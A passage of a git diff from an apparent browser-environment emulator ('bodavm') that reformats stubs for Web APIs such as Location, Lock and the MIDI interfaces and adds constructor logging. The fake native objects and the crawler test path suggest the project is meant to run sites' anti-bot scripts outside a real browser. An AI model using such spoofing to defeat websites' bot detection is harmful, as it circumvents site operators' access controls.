LayoutShiftAttribution)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['LayoutShiftAttribution'], "LayoutShiftAttribution"); +bodavm.toolsFunc.defineProperty('LayoutShiftAttribution', "node", { + configurable: true, + enumerable: true, + get: function node() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LayoutShiftAttribution'].prototype, "LayoutShiftAttribution", "node_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('LayoutShiftAttribution', "previousRect", { + configurable: true, + enumerable: true, + get: function previousRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LayoutShiftAttribution'].prototype, "LayoutShiftAttribution", "previousRect_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('LayoutShiftAttribution', "currentRect", { + configurable: true, + enumerable: true, + get: function currentRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LayoutShiftAttribution'].prototype, "LayoutShiftAttribution", "currentRect_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('LayoutShiftAttribution', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LayoutShiftAttribution'].prototype, "LayoutShiftAttribution", "toJSON", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/LinearAccelerationSensor.js b/env_xbb_lastest_jsdom/env/LinearAccelerationSensor.js index 6bd4b144..00233c2b 100644 --- a/env_xbb_lastest_jsdom/env/LinearAccelerationSensor.js +++ b/env_xbb_lastest_jsdom/env/LinearAccelerationSensor.js @@ -1,5 +1,16 @@ -// LinearAccelerationSensor对象 -bodavm.memory.globalobj['LinearAccelerationSensor'] = function LinearAccelerationSensor(){this._boarg= new bodaobj.window.LinearAccelerationSensor();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['LinearAccelerationSensor'], "LinearAccelerationSensor"); -bodavm.memory.globalobj['LinearAccelerationSensor'].prototype.__proto__=bodavm.memory.globalobj['Accelerometer'].prototype; -bodavm.memory.globalobj['LinearAccelerationSensor'].__proto__=bodavm.memory.globalobj['Accelerometer']; +// LinearAccelerationSensor对象 + +bodavm.memory.globalobj['LinearAccelerationSensor'] = function LinearAccelerationSensor() { + console.log_copy('LinearAccelerationSensor 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.LinearAccelerationSensor(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['LinearAccelerationSensor'], "LinearAccelerationSensor"); +bodavm.memory.globalobj['LinearAccelerationSensor'].prototype.__proto__ = bodavm.memory.globalobj['Accelerometer'].prototype; +bodavm.memory.globalobj['LinearAccelerationSensor'].__proto__ = bodavm.memory.globalobj['Accelerometer']; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Location.js b/env_xbb_lastest_jsdom/env/Location.js index 716706c7..7749803e 100644 --- a/env_xbb_lastest_jsdom/env/Location.js +++ b/env_xbb_lastest_jsdom/env/Location.js @@ -1,44 +1,160 @@ // Location对象 -bodavm.memory.globalobj['Location'] = function Location(){if (!(this instanceof Location)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} - +bodavm.memory.globalobj['Location'] = function Location() { + console.log_copy('Location 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Location)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Location'], "Location"); // location对象 bodavm.memory.globalobj['location'] = { - _boisinit:bodavm.config.isinit - } - -bodavm.memory.globalobj['location'].__proto__=bodavm.memory.globalobj['Location'].prototype; - -bodavm.toolsFunc.defineProperty('location', "valueOf", {configurable:false, enumerable:false, writable:false, value:function valueOf (){return bodavm.toolsFunc.dispatch(this, location, "location", "valueOf", arguments)}}); - -bodavm.toolsFunc.defineProperty('location', "ancestorOrigins", {configurable:false, enumerable:true, get:function ancestorOrigins (){return bodavm.toolsFunc.dispatch(this, location, "location", "ancestorOrigins_get", arguments)}, set:undefined}); - -bodavm.toolsFunc.defineProperty('location', "href", {configurable:false, enumerable:true, get:function href (){return bodavm.toolsFunc.dispatch(this, location, "location", "href_get", arguments, 'http://localhost:63342/%E7%88%AC%E8%99%AB/5s/test.html?_ijt=q7afj33h2bteshkjvmn3buhan8&_ij_reload=RELOAD_ON_SAVE')}, set:function href (){return bodavm.toolsFunc.dispatch(this, location, "location", "href_set", arguments)}}); - -bodavm.toolsFunc.defineProperty('location', "origin", {configurable:false, enumerable:true, get:function origin (){return bodavm.toolsFunc.dispatch(this, location, "location", "origin_get", arguments, 'http://localhost:63342')}, set:undefined}); - -bodavm.toolsFunc.defineProperty('location', "protocol", {configurable:false, enumerable:true, get:function protocol (){return bodavm.toolsFunc.dispatch(this, location, "location", "protocol_get", arguments, 'http:')}, set:function protocol (){return bodavm.toolsFunc.dispatch(this, location, "location", "protocol_set", arguments)}}); - -bodavm.toolsFunc.defineProperty('location', "host", {configurable:false, enumerable:true, get:function host (){return bodavm.toolsFunc.dispatch(this, location, "location", "host_get", arguments, 'localhost:63342')}, set:function host (){return bodavm.toolsFunc.dispatch(this, location, "location", "host_set", arguments)}}); - -bodavm.toolsFunc.defineProperty('location', "hostname", {configurable:false, enumerable:true, get:function hostname (){return bodavm.toolsFunc.dispatch(this, location, "location", "hostname_get", arguments, 'localhost')}, set:function hostname (){return bodavm.toolsFunc.dispatch(this, location, "location", "hostname_set", arguments)}}); - -bodavm.toolsFunc.defineProperty('location', "port", {configurable:false, enumerable:true, get:function port (){return bodavm.toolsFunc.dispatch(this, location, "location", "port_get", arguments, '63342')}, set:function port (){return bodavm.toolsFunc.dispatch(this, location, "location", "port_set", arguments)}}); - -bodavm.toolsFunc.defineProperty('location', "pathname", {configurable:false, enumerable:true, get:function pathname (){return bodavm.toolsFunc.dispatch(this, location, "location", "pathname_get", arguments, '/%E7%88%AC%E8%99%AB/5s/test.html')}, set:function pathname (){return bodavm.toolsFunc.dispatch(this, location, "location", "pathname_set", arguments)}}); - -bodavm.toolsFunc.defineProperty('location', "search", {configurable:false, enumerable:true, get:function search (){return bodavm.toolsFunc.dispatch(this, location, "location", "search_get", arguments, '?_ijt=q7afj33h2bteshkjvmn3buhan8&_ij_reload=RELOAD_ON_SAVE')}, set:function search (){return bodavm.toolsFunc.dispatch(this, location, "location", "search_set", arguments)}}); - -bodavm.toolsFunc.defineProperty('location', "hash", {configurable:false, enumerable:true, get:function hash (){return bodavm.toolsFunc.dispatch(this, location, "location", "hash_get", arguments, '')}, set:function hash (){return bodavm.toolsFunc.dispatch(this, location, "location", "hash_set", arguments)}}); - -bodavm.toolsFunc.defineProperty('location', "assign", {configurable:false, enumerable:true, writable:false, value:function assign (){return bodavm.toolsFunc.dispatch(this, location, "location", "assign", arguments)}}); - -bodavm.toolsFunc.defineProperty('location', "reload", {configurable:false, enumerable:true, writable:false, value:function reload (){return bodavm.toolsFunc.dispatch(this, location, "location", "reload", arguments)}}); - -bodavm.toolsFunc.defineProperty('location', "replace", {configurable:false, enumerable:true, writable:false, value:function replace (){return bodavm.toolsFunc.dispatch(this, location, "location", "replace", arguments)}}); - -bodavm.toolsFunc.defineProperty('location', "toString", {configurable:false, enumerable:true, writable:false, value:function toString (){return bodavm.toolsFunc.dispatch(this, location, "location", "toString", arguments)}}); - + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['location'].__proto__ = bodavm.memory.globalobj['Location'].prototype; +bodavm.toolsFunc.defineProperty('location', "valueOf", { + configurable: false, + enumerable: false, + writable: false, + value: function valueOf() { + return bodavm.toolsFunc.dispatch(this, location, "location", "valueOf", arguments); + } +}); +bodavm.toolsFunc.defineProperty('location', "ancestorOrigins", { + configurable: false, + enumerable: true, + get: function ancestorOrigins() { + return bodavm.toolsFunc.dispatch(this, location, "location", "ancestorOrigins_get", arguments); + }, + set: undefined +}); +bodavm.toolsFunc.defineProperty('location', "href", { + configurable: false, + enumerable: true, + get: function href() { + return bodavm.toolsFunc.dispatch(this, location, "location", "href_get", arguments, 'http://localhost:63342/%E7%88%AC%E8%99%AB/5s/test.html?_ijt=q7afj33h2bteshkjvmn3buhan8&_ij_reload=RELOAD_ON_SAVE'); + }, + set: function href() { + return bodavm.toolsFunc.dispatch(this, location, "location", "href_set", arguments); + } +}); +bodavm.toolsFunc.defineProperty('location', "origin", { + configurable: false, + enumerable: true, + get: function origin() { + return bodavm.toolsFunc.dispatch(this, location, "location", "origin_get", arguments, 'http://localhost:63342'); + }, + set: undefined +}); +bodavm.toolsFunc.defineProperty('location', "protocol", { + configurable: false, + enumerable: true, + get: function protocol() { + return bodavm.toolsFunc.dispatch(this, location, "location", "protocol_get", arguments, 'http:'); + }, + set: function protocol() { + return bodavm.toolsFunc.dispatch(this, location, "location", "protocol_set", arguments); + } +}); +bodavm.toolsFunc.defineProperty('location', "host", { + configurable: false, + enumerable: true, + get: function host() { + return bodavm.toolsFunc.dispatch(this, location, "location", "host_get", arguments, 'localhost:63342'); + }, + set: function host() { + return bodavm.toolsFunc.dispatch(this, location, "location", "host_set", arguments); + } +}); +bodavm.toolsFunc.defineProperty('location', "hostname", { + configurable: false, + enumerable: true, + get: function hostname() { + return bodavm.toolsFunc.dispatch(this, location, "location", "hostname_get", arguments, 'localhost'); + }, + set: function hostname() { + return bodavm.toolsFunc.dispatch(this, location, "location", "hostname_set", arguments); + } +}); +bodavm.toolsFunc.defineProperty('location', "port", { + configurable: false, + enumerable: true, + get: function port() { + return bodavm.toolsFunc.dispatch(this, location, "location", "port_get", arguments, '63342'); + }, + set: function port() { + return bodavm.toolsFunc.dispatch(this, location, "location", "port_set", arguments); + } +}); +bodavm.toolsFunc.defineProperty('location', "pathname", { + configurable: false, + enumerable: true, + get: function pathname() { + return bodavm.toolsFunc.dispatch(this, location, "location", "pathname_get", arguments, '/%E7%88%AC%E8%99%AB/5s/test.html'); + }, + set: function pathname() { + return bodavm.toolsFunc.dispatch(this, location, "location", "pathname_set", arguments); + } +}); +bodavm.toolsFunc.defineProperty('location', "search", { + configurable: false, + enumerable: true, + get: function search() { + return bodavm.toolsFunc.dispatch(this, location, "location", "search_get", arguments, '?_ijt=q7afj33h2bteshkjvmn3buhan8&_ij_reload=RELOAD_ON_SAVE'); + }, + set: function search() { + return bodavm.toolsFunc.dispatch(this, location, "location", "search_set", arguments); + } +}); +bodavm.toolsFunc.defineProperty('location', "hash", { + configurable: false, + enumerable: true, + get: function hash() { + return bodavm.toolsFunc.dispatch(this, location, "location", "hash_get", arguments, ''); + }, + set: function hash() { + return bodavm.toolsFunc.dispatch(this, location, "location", "hash_set", arguments); + } +}); +bodavm.toolsFunc.defineProperty('location', "assign", { + configurable: false, + enumerable: true, + writable: false, + value: function assign() { + return bodavm.toolsFunc.dispatch(this, location, "location", "assign", arguments); + } +}); +bodavm.toolsFunc.defineProperty('location', "reload", { + configurable: false, + enumerable: true, + writable: false, + value: function reload() { + return bodavm.toolsFunc.dispatch(this, location, "location", "reload", arguments); + } +}); +bodavm.toolsFunc.defineProperty('location', "replace", { + configurable: false, + enumerable: true, + writable: false, + value: function replace() { + return bodavm.toolsFunc.dispatch(this, location, "location", "replace", arguments); + } +}); +bodavm.toolsFunc.defineProperty('location', "toString", { + configurable: false, + enumerable: true, + writable: false, + value: function toString() { + return bodavm.toolsFunc.dispatch(this, location, "location", "toString", arguments); + } +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Lock.js b/env_xbb_lastest_jsdom/env/Lock.js index c536e2b3..7ca67ace 100644 --- a/env_xbb_lastest_jsdom/env/Lock.js +++ b/env_xbb_lastest_jsdom/env/Lock.js @@ -1,5 +1,33 @@ -// Lock对象 -bodavm.memory.globalobj['Lock'] = function Lock(){if (!(this instanceof Lock)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Lock'], "Lock"); -bodavm.toolsFunc.defineProperty('Lock', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Lock'].prototype, "Lock", "name_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Lock', "mode", {configurable:true, enumerable:true, get:function mode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Lock'].prototype, "Lock", "mode_get", arguments)}, set:undefined},'prototype'); +// Lock对象 + +bodavm.memory.globalobj['Lock'] = function Lock() { + console.log_copy('Lock 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Lock)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Lock'], "Lock"); +bodavm.toolsFunc.defineProperty('Lock', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Lock'].prototype, "Lock", "name_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Lock', "mode", { + configurable: true, + enumerable: true, + get: function mode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Lock'].prototype, "Lock", "mode_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/LockManager.js b/env_xbb_lastest_jsdom/env/LockManager.js index de4b65d2..ce454c89 100644 --- a/env_xbb_lastest_jsdom/env/LockManager.js +++ b/env_xbb_lastest_jsdom/env/LockManager.js @@ -1,5 +1,33 @@ -// LockManager对象 -bodavm.memory.globalobj['LockManager'] = function LockManager(){if (!(this instanceof LockManager)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['LockManager'], "LockManager"); -bodavm.toolsFunc.defineProperty('LockManager', "query", {configurable:true, enumerable:true, writable:true, value:function query (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LockManager'].prototype, "LockManager", "query", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('LockManager', "request", {configurable:true, enumerable:true, writable:true, value:function request (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LockManager'].prototype, "LockManager", "request", arguments)}},'prototype'); +// LockManager对象 + +bodavm.memory.globalobj['LockManager'] = function LockManager() { + console.log_copy('LockManager 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof LockManager)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['LockManager'], "LockManager"); +bodavm.toolsFunc.defineProperty('LockManager', "query", { + configurable: true, + enumerable: true, + writable: true, + value: function query() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LockManager'].prototype, "LockManager", "query", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('LockManager', "request", { + configurable: true, + enumerable: true, + writable: true, + value: function request() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LockManager'].prototype, "LockManager", "request", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/MIDIAccess.js b/env_xbb_lastest_jsdom/env/MIDIAccess.js index 3f542940..d4ae3659 100644 --- a/env_xbb_lastest_jsdom/env/MIDIAccess.js +++ b/env_xbb_lastest_jsdom/env/MIDIAccess.js @@ -1,9 +1,53 @@ -// MIDIAccess对象 -bodavm.memory.globalobj['MIDIAccess'] = function MIDIAccess(){if (!(this instanceof MIDIAccess)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MIDIAccess'], "MIDIAccess"); -bodavm.memory.globalobj['MIDIAccess'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['MIDIAccess'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('MIDIAccess', "inputs", {configurable:true, enumerable:true, get:function inputs (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIAccess'].prototype, "MIDIAccess", "inputs_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIAccess', "outputs", {configurable:true, enumerable:true, get:function outputs (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIAccess'].prototype, "MIDIAccess", "outputs_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIAccess', "sysexEnabled", {configurable:true, enumerable:true, get:function sysexEnabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIAccess'].prototype, "MIDIAccess", "sysexEnabled_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIAccess', "onstatechange", {configurable:true, enumerable:true, get:function onstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIAccess'].prototype, "MIDIAccess", "onstatechange_get", arguments)}, set:function onstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIAccess'].prototype, "MIDIAccess", "onstatechange_set", arguments)}},'prototype'); +// MIDIAccess对象 + +bodavm.memory.globalobj['MIDIAccess'] = function MIDIAccess() { + console.log_copy('MIDIAccess 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MIDIAccess)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MIDIAccess'], "MIDIAccess"); +bodavm.memory.globalobj['MIDIAccess'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['MIDIAccess'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('MIDIAccess', "inputs", { + configurable: true, + enumerable: true, + get: function inputs() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIAccess'].prototype, "MIDIAccess", "inputs_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIAccess', "outputs", { + configurable: true, + enumerable: true, + get: function outputs() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIAccess'].prototype, "MIDIAccess", "outputs_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIAccess', "sysexEnabled", { + configurable: true, + enumerable: true, + get: function sysexEnabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIAccess'].prototype, "MIDIAccess", "sysexEnabled_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIAccess', "onstatechange", { + configurable: true, + enumerable: true, + get: function onstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIAccess'].prototype, "MIDIAccess", "onstatechange_get", arguments); + }, + set: function onstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIAccess'].prototype, "MIDIAccess", "onstatechange_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/MIDIConnectionEvent.js b/env_xbb_lastest_jsdom/env/MIDIConnectionEvent.js index 8053281c..09053eb7 100644 --- a/env_xbb_lastest_jsdom/env/MIDIConnectionEvent.js +++ b/env_xbb_lastest_jsdom/env/MIDIConnectionEvent.js @@ -1,6 +1,27 @@ -// MIDIConnectionEvent对象 -bodavm.memory.globalobj['MIDIConnectionEvent'] = function MIDIConnectionEvent(){if (!(this instanceof MIDIConnectionEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MIDIConnectionEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MIDIConnectionEvent'], "MIDIConnectionEvent"); -bodavm.memory.globalobj['MIDIConnectionEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['MIDIConnectionEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('MIDIConnectionEvent', "port", {configurable:true, enumerable:true, get:function port (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIConnectionEvent'].prototype, "MIDIConnectionEvent", "port_get", arguments)}, set:undefined},'prototype'); +// MIDIConnectionEvent对象 + +bodavm.memory.globalobj['MIDIConnectionEvent'] = function MIDIConnectionEvent() { + console.log_copy('MIDIConnectionEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MIDIConnectionEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MIDIConnectionEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MIDIConnectionEvent'], "MIDIConnectionEvent"); +bodavm.memory.globalobj['MIDIConnectionEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['MIDIConnectionEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('MIDIConnectionEvent', "port", { + configurable: true, + enumerable: true, + get: function port() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIConnectionEvent'].prototype, "MIDIConnectionEvent", "port_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/MIDIInput.js b/env_xbb_lastest_jsdom/env/MIDIInput.js index a3ee1efe..8f159846 100644 --- a/env_xbb_lastest_jsdom/env/MIDIInput.js +++ b/env_xbb_lastest_jsdom/env/MIDIInput.js @@ -1,6 +1,29 @@ -// MIDIInput对象 -bodavm.memory.globalobj['MIDIInput'] = function MIDIInput(){if (!(this instanceof MIDIInput)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MIDIInput'], "MIDIInput"); -bodavm.memory.globalobj['MIDIInput'].prototype.__proto__=bodavm.memory.globalobj['MIDIPort'].prototype; -bodavm.memory.globalobj['MIDIInput'].__proto__=bodavm.memory.globalobj['MIDIPort']; -bodavm.toolsFunc.defineProperty('MIDIInput', "onmidimessage", {configurable:true, enumerable:true, get:function onmidimessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIInput'].prototype, "MIDIInput", "onmidimessage_get", arguments)}, set:function onmidimessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIInput'].prototype, "MIDIInput", "onmidimessage_set", arguments)}},'prototype'); +// MIDIInput对象 + +bodavm.memory.globalobj['MIDIInput'] = function MIDIInput() { + console.log_copy('MIDIInput 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MIDIInput)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MIDIInput'], "MIDIInput"); +bodavm.memory.globalobj['MIDIInput'].prototype.__proto__ = bodavm.memory.globalobj['MIDIPort'].prototype; +bodavm.memory.globalobj['MIDIInput'].__proto__ = bodavm.memory.globalobj['MIDIPort']; +bodavm.toolsFunc.defineProperty('MIDIInput', "onmidimessage", { + configurable: true, + enumerable: true, + get: function onmidimessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIInput'].prototype, "MIDIInput", "onmidimessage_get", arguments); + }, + set: function onmidimessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIInput'].prototype, "MIDIInput", "onmidimessage_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/MIDIInputMap.js b/env_xbb_lastest_jsdom/env/MIDIInputMap.js index 8b66b24b..05269bf8 100644 --- a/env_xbb_lastest_jsdom/env/MIDIInputMap.js +++ b/env_xbb_lastest_jsdom/env/MIDIInputMap.js @@ -1,10 +1,73 @@ -// MIDIInputMap对象 -bodavm.memory.globalobj['MIDIInputMap'] = function MIDIInputMap(){if (!(this instanceof MIDIInputMap)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MIDIInputMap'], "MIDIInputMap"); -bodavm.toolsFunc.defineProperty('MIDIInputMap', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIInputMap'].prototype, "MIDIInputMap", "size_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIInputMap', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIInputMap'].prototype, "MIDIInputMap", "entries", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIInputMap', "forEach", {configurable:true, enumerable:true, writable:true, value:function forEach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIInputMap'].prototype, "MIDIInputMap", "forEach", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIInputMap', "get", {configurable:true, enumerable:true, writable:true, value:function get (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIInputMap'].prototype, "MIDIInputMap", "get", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIInputMap', "has", {configurable:true, enumerable:true, writable:true, value:function has (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIInputMap'].prototype, "MIDIInputMap", "has", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIInputMap', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIInputMap'].prototype, "MIDIInputMap", "keys", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIInputMap', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIInputMap'].prototype, "MIDIInputMap", "values", arguments)}},'prototype'); +// MIDIInputMap对象 + +bodavm.memory.globalobj['MIDIInputMap'] = function MIDIInputMap() { + console.log_copy('MIDIInputMap 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MIDIInputMap)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MIDIInputMap'], "MIDIInputMap"); +bodavm.toolsFunc.defineProperty('MIDIInputMap', "size", { + configurable: true, + enumerable: true, + get: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIInputMap'].prototype, "MIDIInputMap", "size_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIInputMap', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIInputMap'].prototype, "MIDIInputMap", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIInputMap', "forEach", { + configurable: true, + enumerable: true, + writable: true, + value: function forEach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIInputMap'].prototype, "MIDIInputMap", "forEach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIInputMap', "get", { + configurable: true, + enumerable: true, + writable: true, + value: function get() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIInputMap'].prototype, "MIDIInputMap", "get", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIInputMap', "has", { + configurable: true, + enumerable: true, + writable: true, + value: function has() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIInputMap'].prototype, "MIDIInputMap", "has", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIInputMap', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIInputMap'].prototype, "MIDIInputMap", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIInputMap', "values", { + configurable: true, + enumerable: true, + writable: true, + value: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIInputMap'].prototype, 